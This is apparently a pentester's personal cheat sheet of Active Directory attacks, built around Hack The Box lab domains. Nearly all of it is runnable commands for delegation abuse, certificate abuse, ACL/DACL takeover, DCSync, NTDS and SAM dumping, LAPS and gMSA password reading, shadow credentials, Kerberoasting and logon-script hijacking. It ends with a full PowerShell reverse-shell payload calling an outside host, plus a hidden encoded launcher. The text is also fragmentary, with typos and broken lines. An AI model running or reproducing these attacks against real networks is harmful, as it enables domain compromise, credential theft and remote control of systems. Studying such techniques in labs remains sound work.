# findDelegation.py INLANEFREIGHT.LOCAL/<username>:<password>

https://github.com/fortra/impacket/blob/master/examples/findDelegation.py
https://github.com/fortra/impacket/blob/master/examples/getST.py

Unconstrained: This account has unconstrained delegation
Constrained: This account has constrained delegation without protocol transition support
Constrained w/ Protocol Transition: This account has constrained delegation with protocol transition support

getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator

export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
Resource Based Constrained Delegation
Save As .\SearchRBCD.ps1

# import the PowerView module
Import-Module C:\Tools\PowerView.ps1

# get all computers in the domain
$computers = Get-DomainComputer

# get all users in the domain
$users = Get-DomainUser

# define the required access rights
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"

# loop through each computer in the domain
foreach ($computer in $computers) {
    # get the security descriptor for the computer
    $acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs

    # loop through each user in the domain
    foreach ($user in $users) {
        # check if the user has the required access rights on the computer object
        $hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}

        if ($hasAccess) {
            Write-Output "$($user.SamAccountName) has the required access rights on $($computer.Name)"
        }
    }
}
--------------------------------------------------------

.\SearchRBCD.ps1
- If you found user has permissions , then we need to to compromise user
- with the permission of that user , create new computer account 
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount HACKTHEBOX -Password $(ConvertTo-SecureString "Hackthebox123+!" -AsPlainText -Force) 

- Then We need SiD of that computer :
$ComputerSid = Get-DomainComputer HACKTHEBOX -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\carole.holmes", (ConvertTo-SecureString "Y3t4n0th3rP4ssw0rd" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose

- Get NTLM hash of New Comuter: 
.\Rubeus.exe hash /password:Hackthebox123+! /user:HACKTHEBOX$ /domain:inlanefreight.local
.\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:<Has_Of_New_Comuter> /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /ptt

We can also use /altservice:host,RPCSS,wsman,http,ldap,krbtgt,winrm to include aditional services to our ticket request.

ls \\dc01.inlanefreight.local\c$

############################ From Linux ############################
addcomputer.py -computer-name 'HACKTHEBOX$' -computer-pass Hackthebox123+\! -dc-ip 10.129.205.35 inlanefreight.local/carole.holmes
python3 rbcd.py -dc-ip 10.129.205.35 -t DC01 -f HACKTHEBOX inlanefreight\\carole.holmes:Y3t4n0th3rP4ssw0rd
getST.py -spn cifs/DC01.inlanefreight.local -impersonate Administrator -dc-ip 10.129.205.35 inlanefreight.local/HACKTHEBOX:Hackthebox123+\!
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.inlanefreight.local


if the user can't create new Computer Account : MachineAccountQuota Is 0

1- 
# pypykatz crypto nt '<Passowrd_Of_User_Compromised>'
2- 
# getTGT.py INLANEFREIGHT.LOCAL/beth.richards -hashes :de3d16603d7ded97bb47cd6641b1a392 -dc-ip 10.129.205.35
3- 
# describeTicket.py beth.richards.ccache | grep 'Ticket Session Key'
4- 
# changepasswd.py INLANEFREIGHT.LOCAL/beth.richards@10.129.205.35 -hashes :de3d16603d7ded97bb47cd6641b1a392 -newhash :7c3d8b8b135c7d574e423dcd826cab58
5- 
# KRB5CCNAME=beth.richards.ccache getST.py -u2u -impersonate Administrator -spn TERMSRV/DC01.INLANEFREIGHT.LOCAL -no-pass INLANEFREIGHT.LOCAL/beth.richards -dc-ip 10.129.205.35
6- 
# KRB5CCNAME=Administrator@TERMSRV_DC01.INLANEFREIGHT.LOCAL@INLANEFREIGHT.LOCAL.ccache wmiexec.py DC01.INLANEFREIGHT.LOCAL -k -no-pass
check vulnerable Certificates
# nxc ldap retro.vl -u "banking$" -p 'kavi123!' -M adcs
# certipy-ad find -u 'banking$' -p 'kavi123!' -dc-ip 10.129.234.44 -vulnerable -stdout

certipy find \
  -u management_svc@certified.htb \
  -hashes :a091c1832bcdd4677c28b5a6a1295584 \
  -dc-ip 10.129.195.120
  
find SID # impacket-lookupsid Guest@10.129.8.236
# certipy-ad req -u 'banking$' -p 'kavi123!' -dc-ip 10.129.234.44 -ca retro-DC-CA -
template RetroClients -upn Administrator -debug -target dc.retro.vl -key-size 4096 -sid
S-1-5-21-2983547755-698260136-4283918172-500
# certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'retro.vl' -
dc-ip 10.129.234.44
#  evil-winrm -u Administrator -H 252fac7066d93dd009d4fd2cd0368389 -i retro.vl
03

ACL & DACL Abuse

Turn misconfigured object permissions into control of principals.

1
05DACLS16 cmds2 img
DACL_Abuse_Paths_(2).png
image.png
Bloodhound would help you query permissions
# bloodhound-python -c All -u carlos -p Pentesting01 -d inlanefreight.local -dc inlanefreight.local --zip -ns 10.129.205.122 --dns-tcp -k
# crackmapexec ldap  domain.local -u user  -p pass --bloodhound -c all -ns 10.10.10.1


smbserver share -smb2support /tmp/smbshare -user test -password test
C:\htb> net use n: \\192.168.220.133\share /user:test test
C:\Tools\SharpHound.exe --memcache --outputdirectory \\10.10.14.33\share\ --zippassword HackTheBox --outputprefix HTB --randomfilenames
The command completed successfully.

C:\htb> copy n:\nc.exe

# sudo wget -P /usr/bin/ https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
# export PATH=$PATH:/usr/bin/go/bin
# git clone https://github.com/lkarlslund/Adalanche Adalanche

search for what file share does Student1 has access over :
Get-ADComputer -Filter 'OperatingSystem -like "*Server*"' | Select-Object -ExpandProperty Name
Import-Module C:\AD\Tools\PowerHuntShares.psm1 
PS C:\AD\Tools> Invoke-HuntSMBShares -NoPing -OutputDirectory C:\AD\Tools\ 
HostList C:\AD\Tools\servers.txt
---------------------------------------------------
Finding Interesting ACL 
> Find-InterestingDomainAcl
>  $sid = Convert-NameToSid damundsen
> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} 
GenericAll
GenericAll Over Group 
Perform DCSync Attack 
1- create new user 
net user john abc123! /add /domain
2- add that user to the group 
net group "Exchange Windows Permissions" john /add
net localgroup "Remote Management Users" john /add
// from linux
# bloodyAD -u 'agila' -p 'pass' -d test.htb --host 10.10.11.69 add groupMember 'service accounts' p.agila
3- add permission DcSync To that user 
. .\PowerView.ps1
$pass = convertto-securestring 'abc123!' -asplain -force
$cred = new-object system.management.automation.pscredential('htb\john', $pass)
Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync
4- secretdump with the credentials of that user 
# impacket-secretsdump htb/john@10.10.10.161

5- Got admininstrator credentials  
-------------------------------------------------------------------
GenericAll Over machine Computer DC
1- create new computer machine name (hacker$)
> Install-WindowsFeature -Name RSAT-AD-PowerShell
Import-Module C:\Users\studentuser\Desktop\shared\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

> Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
> . ./PowerView.ps1
> Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentit
> . ./Powermad.ps1
> New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

2- change msds-allowedtoactonbehalfofotheridentity of vicitm to our hacker computer$
> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$
> Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount

3- get the hash of hacker$ machine 
> .\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb

4- perform s4u attack and impersonate Administrator
> .\Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt

5- copy ticket and remove spaces : https://www.browserling.com/tools/remove-all-whitespace
6- put ticket after remove spaces in file ticket.kirbi.b64 
# base64 -d ticket.kirbi.b64 > ticket.kirbi
# impacket-ticketConverter ticket.kirbi ticket.ccache
# KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass
GenericWrite
Generic Write Over Account : Put Shadow Credential (MSDS-KeyCredential-Link) over that acocunt 
# sudo ntpdate dc01.fluffy.htb
	# certipy-ad shadow auto -username hacker@fluffy.htb -password 'pass' -account victim
# evil-winrm -u 'victim' -H <credential_shadow_of_victim> -i dc01.fluffy.htb

- also can perform targeted Kerberosting attack 
git clone https://github.com/ShutdownRepo/targetedKerberoast & cd targetedKerberoast 
sudo ntpdate 10.10.11.42
put the username inside file called users.txt
python3 targetedKerberoast.py --dc-ip 10.10.11.42 -d administrator.htb -u hacker -p 'password' -U users.txt
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force
------------------Generic Write Over Group --------------------------
- add anyone to that group and inherit its rights


------------------Generic Write Over Object --------------------------
- Add SPN to Object 
- Ask TGS 
- Perform Kerberosting
WriteSPN | GenericALl | GenericWrite | WriteProperity | Validate-SPN
MATCH p=((n:User {name:"CARLOS@INLANEFREIGHT.LOCAL"})-[r:GenericAll|GenericWrite|WriteProperty|ValidatedSPN]->(m)) RETURN p

1- validate you have WriteSPN over the target 
# dacledit.py domain.local/user:Password -target victim -principal hacker
or from windows : 
C:\Tools> Import-Module .\Powerview.ps1 
C:\Tools> $usersid = ConvertTo-Sid hacker 
C:\Tools> $userDacl = Get-DomainObjectAcl -Identity victim | ? {$_.SecurityIdentifier -eq $usersid} 

2- try to add SPN to user if not found to attack Kerberoasting 
# cat <<EOF > addspn.ldif                                                                                       
dn: CN=rita,CN=Users,DC=inlanefreight,DC=local
changetype: modify
add: servicePrincipalName
servicePrincipalName: nonexistent/BLAHBLAH
EOF

# ldapmodify -x -H ldap://dc.inlanefreight.local   -D "INLANEFREIGHT\\pedro" -w 'SecuringAD01'   -f addspn.ldif

or from windows 
C:\Tools>  Set-DomainObject -Identity victim -Set @{serviceprincipalname='nonexistent/BLAHBLAH'} -Verbose 

3- after adding SPN then you can make Kerberosting attack with 
-> sync the time first 
sudo ntpdate 10.129.93.96
then 
# python3 targetedKerberoast.py --request-user moly -d inlanefreight.local -u pedro -p SecuringAD01 --dc-ip STMIP -o molysHash.txt
or 
GetUserSPNs.py INLANEFREIGHT/pedro:SecuringAD01 -dc-ip 10.129.205.81 -request-user sqladmin

or from windows 
PS C:\Tools> $User = Get-DomainUser Rita
PS C:\Tools> $User | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash

4- crack the hash 13100 


PS C:\Tools> cd C:\Tools
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $SecPassword = ConvertTo-SecureString 'Music001' -AsPlainText -Force
PS C:\Tools> $Cred = New-Object System.Management.Automation.PSCredential('LAB\jeffry', $SecPassword)
PS C:\Tools> Set-DomainObject -Credential $Cred -Identity martha -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
.\Rubeus.exe kerberoast /user:martha /format:hashcat /nowrap
.\Rubeus.exe createnetonly /program:powershell /show /username:martha /password:Winner77 /domain:lab.local
.\Rubeus.exe asktgt /user:martha /password:Winner77 /domain:lab.local /ptt /nowrap


--------------------------------SPN Jacking-------------------------------------
0- you have genericwrite -WriteProperity- ValidateSPN - WriteSPN - over machine 
1- Search for oriphened SPN 
2- Assign Oriphened SPN to Exesiting Controller Machine 
3- Force Steal TGS 
Self-MemberShip | GenericAll| GenericWrite | Self | AllExtendedRights
MATCH p=(n:User {name:"CARLOS@INLANEFREIGHT.LOCAL"})-[r:GenericAll|GenericWrite|AddSelf|AllExtendedRights|Owns|WriteDacl|WriteOwner]->(m) 
RETURN p
1- add members to group 
# net rpc group addmem 'Group Name' hacker -U domain/hacker%password -S 10.10.10.1 

C:\Tools> Add-ADGroupMember -Identity "RODC Administrators" -Members l.wilson_adm

or can add from windows 
C:\Tools> net localgroup "GroupName" pedro /add

or with Powerview commands :
PS C:\Tools> Add-DomainGroupMember -Identity "GroupName" -Members pedro -Verbose

2- If permission Denied then try to use another script : https://github.com/juliourena/ActiveDirectoryScripts/blob/main/Python/addusertogroup.py
#  python3 addusertogroup.py -d inlanefreight.local -g "Backup Operators" -a pedro -u pedro -p SecuringAD01

3- validate you have been added to the group successfully 
# net rpc group members 'Group name'  -U domain/hacker%password -S 10.10.10.1

---------------------------------------WriteOwner From Linux ---------------------------------
1- take the ownership of the group
2- give yourself full control over the group
3- add userself to group

bloodyAD --host 10.129.195.120 \
  -d certified.htb \
  -u judith.mader \
  -p judith09 \
  set owner "CN=Management,CN=Users,DC=certified,DC=htb" "judith.mader"
  
 bloodyAD --host 10.129.195.120 \
  -d certified.htb \
  -u judith.mader \
  -p judith09 \
  add genericAll "CN=Management,CN=Users,DC=certified,DC=htb" "judith.mader"

net rpc group addmem "Management" "judith.mader" \
-U "certified.htb/judith.mader%judith09" \
-S 10.129.195.120
SeBackupPrivilege
try to see your privivlages by opening cmd or powershell as administrator 
# whoami /priv  
found SeBackupPrivlige  then :
C:\Tools> reg save hklm\sam C:\users\Public\sam && reg save hklm\system C:\users\Public\system
C:\Tools> more C:\Users\Public\diskshadowscript.txt

set context persistent nowriters
set metadata C:\Windows\Temp\file.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% p:
end backup
--------------------------------
C:\Tools> diskshadow /s C:\Users\Public\diskshadowscript.txt
C:\Tools> robocopy /b P:\Windows\ntds\ C:\Users\Public\ ntds.dit
and then pass all these data to SecretDump.py in linux 

or abuse it with linux as :
# sudo smbserver.py -smb2support share .
# reg.py inlanefreight.local/pedro:SecuringAD01@10.129.205.81 backup -o '\\10.10.14.33\share' 
# secretsdump.py -sam SAM.save -system SYSTEM.save -ntds ntds.dit LOCAL
# psexec.py administrator@10.129.205.81 -hashes hashLM:f9ddbbd0677777796c8593ef89fb639c  
# wmiexec.py administrator@10.129.205.81 -hashes hashLM:f9ddbbd0677777796c8593ef89fb639c                
AllExtendedRights
can read LAPS with :
> Find-LAPSDelegatedGroups
 Find-AdmPwdExtendedRights
Get-LAPSComputers
ForceChangePassword | ReadLAPSPassword | ReadGMSAPassword |GenericAll |AllExtendedRights
1- Discover these Permissions with bloodhound Query language
MATCH p=((n:User {name:"PEDRO@INLANEFREIGHT.LOCAL"})-[r:ForceChangePassword|GenericAll|AllExtendedRights]->(m)) RETURN p

2- try to change the password for victim : 
# net rpc password victim Mynewpassword1 -U inlanefreight.local/pedro%SecuringAD01 -S 10.129.205.81


- can change the password by rcpclient 
# rpcclient -U INLANEFREIGHT/pedro%SecuringAD01 10.129.205.81
rpcclient $> setuserinfo2 yolanda 23 Mynewpassword2
rpclient  $> exit

or from windows
- PS C:\Tools> . .\Powerview.ps1 
- PS C:\Tools> Set-DomainUserPassword -Identity yolanda -AccountPassword $((ConvertTo-SecureString 'NewpasswordfromW1' -AsPlainText -Force)) -Verbose


or by ActiveDirectory 
PS C:\Tools> Install-WindowsFeature -Name RSAT-AD-PowerShell
PS C:\Tools> Set-ADAccountPassword yolanda -NewPassword $((ConvertTo-SecureString 'NewpasswordfromW2' -AsPlainText -Force)) -Reset -Verbose

without anything installed
PS C:\Windows\system32> $newpass = ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force
PS C:\Windows\system32> Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $newpass -Reset
--------------------------------------------------------------------
Identifying LAPS Privileges

ms-MCS-AdmPwd - ms-MCS-AdmPwdExpirationTime

1- MATCH p=((n)-[r:ReadLAPSPassword]->(m)) RETURN p

2- read the parameter ms-mcs-AdmPwd 
-  Import-Module .\PowerView.ps1
- Get-DomainObject -Identity LAPS09 -Properties "ms-mcs-AdmPwd",name
can see all machines with : 
PS C:\Tools> Get-DomainComputer -Properties name | ForEach-Object {
    $computer = $_.name
    $obj = Get-DomainObject -Identity $computer -Properties "ms-mcs-AdmPwd",name -ErrorAction SilentlyContinue
    if($obj.'ms-mcs-AdmPwd'){
        Write-Output "$computer`: $($obj.'ms-mcs-AdmPwd')"
    }
}

3- Or With Linux : 
# python3 laps.py -u rita -p Password123 -l 10.129.205.81 -d inlanefreight.local

------------------------------------------------------------------------
ReadGMSAPassword

1- MATCH p=((n)-[r:ReadGMSAPassword]->(m)) RETURN p
2- python3 gMSADumper.py -d inlanefreight.local -l 10.129.205.81 -u pedro -p SecuringAD01

Or from windows 
3- GMSAPasswordReader.exe --accountname apache-dev
Write-Dacl
owner of group can readControl - WriteDacl



found write-dacl over group 
1- give yourself permission to write over that group -action write 
# dacledit.py inlanefreight.local/user:password -principal user -target 'group' -action write 
2- add yourself to the group 
# net rpc group addmem 'group' 'user' inlanefreight.local/user%password -S 10.10.10.1
3- login to the group share as smbclient 
# smbclient //10.10.10.1/secret -U inlanefreight.local/user%password  10.10.10.1

----------------f-------
found wite-dacl over user - 
1- give yourself permission to reset password for him as :
dacledit.py -action write -rights ResetPassword 
2- then reset password for him 
net rpc password user newpass etc..

or you can give yourself permission for write and kerberoasting targeted 

-----------------
get the ownership permission for the current user with cypher code in bloodhound : 
MATCH p=((n:User)-[r:WriteOwner]->(m)) RETURN p

also we can grant ourselves to 
python3 dacledit.py \
  -principal luna \
  -target "DC=INLANEFREIGHT,DC=LOCAL" \
  -action write \
  -rights GenericAll \
  -dc-ip 10.129.205.81 \
  inlanefreight.local/luna:Moon123
	
$ net rpc password "MICHAEL" "NewP@ssw0rd123!" \
-U "administrator.htb/olivia%ichliebedich" \
-S 10.129.192.136



if found write-dacl over the domain , then we can control all the domain as : 
secretsdump.py inlanefreight.local/luna:Moon123@10.129.205.81
-----------------------------------
Write-Owner
found writeowner in user or group then: 
--- if user then ----
1- change the owner to yourself 
windows : 
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity victimUser -OwnerIdentity luna
- upgrade permissions for yourself 
Add-DomainObjectAcl -TargetIdentity victimUser -PrincipalIdentity luna -Rights All
- reset password for victim 
Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan"
$cred = ConvertTo-SecureString "Password123!!" -AsPlainText -Force
Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $cred


or in linux
sam has writeowner over john 
 bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' -u 'sam' -p
'rogue' set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by
sam on john
$ bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' -u 'sam' -p
'rogue' add genericAll john sam
[+] sam has now GenericAll on john
$ bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' -u 'sam' -p
'rogue' set password john 'rogue'
[+] Password changed successfully!


---------------------------------------------------------

#python3 owneredit.py -action write -new-owner lilia -target chap -dc-ip 10.129.116.36 inlanefreight.local/lilia:DACLPass123

#python3 examples/dacledit.py -principal lilia -target chap -dc-ip STMIP inlanefreight.local/lilia:DACLPass123 -action write
	
3- Reset Password 
impacket-changepasswd domain.local/user:password@DC_IP victimUser NewPass123!

or can attack targetedkerberoasting :
#python3 targetedKerberoast.py --request-user chap -d inlanefreight.local -u lilia -p DACLPass123 --dc-ip STMIP -o chapsHash.txt


------- if writeowner in group --------
- take the ownership to yourself 
- take permission to writeMembers 
- add yourself to the group 



or from linux , Owneredit 
# wget -q https://raw.githubusercontent.com/ShutdownRepo/impacket/owneredit/examples/owneredit.py
# python3 owneredit.py -action write -new-owner mathew -target "Network Admins" -dc-ip STMIP inlanefreight.local/mathew:ilovejesus
# dacledit.py domain.local/user:password -principal user -target "Network Admins" -action write -rights FullControl
# net rpc group addmem "Network Admins" mathew -U inlanefreight.local/mathew%ilovejesus -S STMIP

Or From windows 

1- take ownership : 
Set-DomainObjectOwner -Identity "Finance" -OwnerIdentity luna

2- grant WriteMembers for yourself 
Add-DomainObjectAcl -TargetIdentity "Finance" 
  -PrincipalIdentity luna 
  -Rights WriteMembers
	
3- Add Yourself to group :
Add-DomainGroupMember -Identity "Finance" -Members luna
4- connect via smbclient 

-----if write ownership to GPO Object---
1- take ownership 
Set-DomainObjectOwner -Identity "{GPO-GUID}" -OwnerIdentity luna

2- Grant GenericAll
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" 
  -PrincipalIdentity luna 
  -Rights GenericAll

3- Modify GPO as: 
- add a Startup Script 
- add a scheduled task 
- Deploy a malicous service 

----------------------------------------------------------
ReadLAPSPassword
LAPSDumper https://github.com/n00py/LAPSDumper
python3 laps.py -u username -p pass -d domain.local 
/// if you found ReadLAPS permission - then search ms-mcs-AdmPwd 
C:\> .\PowerView.ps1

C:\> Get-DomainComputer -Properties name | ForEach-Object {
    $computer = $_.name
    $obj = Get-DomainObject -Identity $computer -Properties "ms-mcs-AdmPwd",name -ErrorAction SilentlyContinue
    if($obj.'ms-mcs-AdmPwd'){
        Write-Output "$computer`: $($obj.'ms-mcs-AdmPwd')"
    }
}
ReadGMSAPassword
 // From Linux
 https://github.com/micahvandeusen/gMSADumper
 # python3 gMSADumper.py -d inlanefreight.local -l 10.129.205.81 -u pedro -p SecuringAD01
 
 // From Windows
 https://github.com/rvazarkar/GMSAPasswordReader
 C:\> .\GMSAPasswordReader.exe --accountname apache-dev
 
 
 
AddKeyCredentialLink
search for node AddKeyCredentialLink with Bloodhound :
MATCH (m)-[r:GenericAll|GenericWrite|WriteProperty]->(n)
WHERE r.isacl = true 
AND (type(r) = "GenericAll" OR type(r) = "GenericWrite" OR (type(r) = "WriteProperty" AND r.property = "msDS-KeyCredentialLink"))
RETURN m, r, n


also can find AddKeyCredentials via Powerview 
or from linux :
dacledit.py domain.local/user:password -target xyz -principal hacker 

-------------------------------------------------------
abusing Shadow Credentials :
check the keys for victim
1- PS C:\Tools> .\Whisker.exe list /target:gabriel
2- add new credentials :
PS C:\Tools> .\Whisker.exe add /target:gabriel
3- PS C:\Tools> .\Rubeus.exe asktgt /user:target_name /certificate:MIIJuAIBAzCCCXQGC..SNIP...6F9yJkzw28UnNcCs/0aclXHfAwICB9A= /password:"cw7I7QaHMS44q5xt" /domain:lab.local /dc:LAB-DC.lab.local /getcredentials /show /nowrap
PS C:\Tools> .\Rubeus.exe createnetonly /program:powershell.exe /show
 .\Rubeus.exe ptt /ticket:doIGJjCCBiKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADA...SNIP...


or from linux : 
hossamshady11@htb[/htb]$ python3 pywhisker.py -d lab.local -u jeffry -p Music001 --target target_name --action add
hossamshady11@htb[/htb]$ python3 gettgtpkinit.py -cert-pfx ../pywhisker/BX4EWk8m.pfx -pfx-pass KQAx5lHP3h9TtzNly2Us lab.local/target_name gabriel.ccache
(if error appeared related to ssl version then :
-----
python3 -m pip uninstall oscrypto -y
python3 -m pip install --force-reinstall https://github.com/wbond/oscrypto/archive/d5f3437ed24257895ae1edd9e503cfb352e635a8.zip
-----
hossamshady11@htb[/htb]$ KRB5CCNAME=gabriel.ccache python3 getnthash.py -key 46c30d948cbe2ab0749d2f72896692c18673e9a4fae6438bff32a33afb49245a lab.local/target_name 
if the target is machine then the target name would be: MACHIEN_NAME$ 

3- get credentiasl by Rubeus.exe 
PS C:\Tools> .\Rubeus.exe asktgt /user:target_name /certificate:MIIJuAIBAzCCCXQGC..SNIP...6F9yJkzw28UnNcCs/0aclXHfAwICB9A= /password:"cw7I7QaHMS44q5xt" /domain:lab.local /dc:LAB-DC.lab.local /getcredentials /show /nowrap

or can use :
PS C:\Tools> Hagrid.exe asktgt /user:target certificate:<>  /dc:target:.lab.local /getcredentials /show

4- exploit the ticket found and NTLM hash:
PS C:\Tools> .\Rubeus.exe createnetonly /program:powershell.exe /show
PS C:\Tools> .\Rubeus.exe ptt /ticket:doIGJjCCBiKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADA...SNIP...
KRB5CCNAME=gabriel.ccache smbclient.py -k -no-pass LAB-DC.LAB.LOCAL

or you can exploit NTLM by 
- mimikatz 
privilege::debug 
sekurlsa::pth /user:target /domain:lab.local /ntlm:<hashofDC>
-> in new windows opened : 
mimikatz 
lsadump::dcsync /domain:lab.local /user:krbtgt

or 
impacket-secretsdump -just-dc 'victim$'@19.10.1.1 -hashes :<ntlm>  --outfiles hash.hashes
can also use that hash in crackmapexec or smbexec or wmiexec or netexec 

KRB5CCNAME=gabriel.ccache smbclient.py -k -no-pass LAB-DC.LAB.LOCAL
smbclient //10.129.250.116/PCSHARES -U 'PCTEST001$' --pw-nt-hash 0d7310f228b5d3b4af53b2403641e767

KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass LAB-DC.lab.local
Logon Scripts
# to know the permission that john has over eric (Linux)
python3 pywerview get-objectacl --name 'eric' -w inlanefreight.local -t 1.1.2.2 -u 'david' -p 'SecurePassDav!d5' --resolve-sids --resolve-guids
pywerview get-objectacl --name 'eric' -w inlanefreight.local -t 1.1.2.2 -u 'david' -p 'SecurePassDav!d5' --resolve-sids --resolve-guids --json | jq '.results | map(select(.securityidentifier | contains("john")))'

or 
# python3 examples/dacledit.py -principal 'david' -target 'eric' -dc-ip 10.129.229.224 inlanefreight.local/'david':'SecurePassDav!d5'

or 

# ./adalanche-linux-x64-v2024.1.11-43-g7774681 collect activedirectory --domain inlanefreight.local --server 1.1.1.2  --username 'david' --password 'SecurePassDav!d5'
# ./adalanche-linux-x64-v2024.1.11-44-gf1573f2 analyze --datapath data


1- upload malicous file in writeable directory as :
smbclient //10.1.1.1/ -U David%'SecurePassDav!d5'
smbcacls //10.129.229.224/NETLOGON /EricsScripts -U David%'SecurePassDav!d5'
# smbclient //10.129.229.224/NETLOGON --directory EricsScripts -U David%'SecurePassDav!d5' -c "put logonScript.bat"

2- change the logon script path: 
echo "dn: CN=wayne,CN=Users,DC=inlanefreight,DC=local
changetype: modify
replace: scriptPath
scriptPath: WaynesScripts\logonScript.bat" > logonScript.ldif

# ldapmodify -H ldap://10.129.229.224 -x -D 'david@inlanefreight.local' -w 'SecurePassDav!d5' -f logonScript.ldif
ensure 
# ldapsearch -LLL -H ldap://10.129.229.224 -x -D 'david@inlanefreight.local' -w 'SecurePassDav!d5' -b "DC=inlanefreight,DC=local" "(sAMAccountName=Eric)" scriptPath

or 
# /usr/bin/pip install bloodyAD
# bloodyAD --host "10.129.229.224" -d "inlanefreight.local" -u "david" -p 'SecurePassDav!d5' set object eric scriptPath -v 'EricsScripts\logonScript.bat'
ensure 
# bloodyAD --host "10.129.229.224" -d "inlanefreight.local" -u "david" -p 'SecurePassDav!d5' get object eric --attr scriptPath
# nc -nvlp 9001


# or from windows : 
smbclient //SMTIP/NETLOGON -U julio%'SecurePassJul!08' -c ls
smbcacls //STMIP/NETLOGON /WaynesScripts -U julio%'SecurePassJul!08'
then create payload from revshells.com (powershell base64)

python3 -c 'import base64; print(base64.b64encode((r"""$LHOST = "172.16.116.3"; $LPORT = 44444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()""").encode("utf-16-le")).decode())'

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABMAEgATwBTAFQAIAA9ACAAIgAxADAALgAxADIAOQAuADIAMgA5AC4AOAA0ACIAOwAgACQATABQAE8AUgBUACAAPQAgADkAMAAwADEAOwAgACQAVABDAFAAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJABMAEgATwBTAFQALAAgACQATABQAE8AUgBUACkAOwAgACQATg<SNIP>


echo -n 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand (base64)
save payload in logonScript.bat 
and then upload logonScript.bat 
smbclient //STMIP/NETLOGON -U julio%'SecurePassJul!08' --directory WaynesScripts -c "put logonScript.bat"

run nc -nlvp 3333

and then apply changes to victim with :
echo "dn: CN=wayne,CN=Users,DC=inlanefreight,DC=local
changetype: modify
replace: scriptPath
scriptPath: WaynesScripts\logonScript.bat" > logonScript.ldif

ldapmodify -H ldap://STMIP -x -D 'julio' -w 'SecurePassJul!08' -f  logonScript.ldif

you got reverse shell 


> ls $env:LOGONSERVER\NETLOGON
> icacls $env:LOGONSERVER\NETLOGON\EricsScripts
> .\Invoke-ScriptSentry.ps1
> Import-Module .\PowerView.ps1
> Set-DomainObject eric -Set @{'scriptPath'='EricsScripts\logonScript.bat'}
> Get-DomainObject eric -Properties scriptPath
create_child
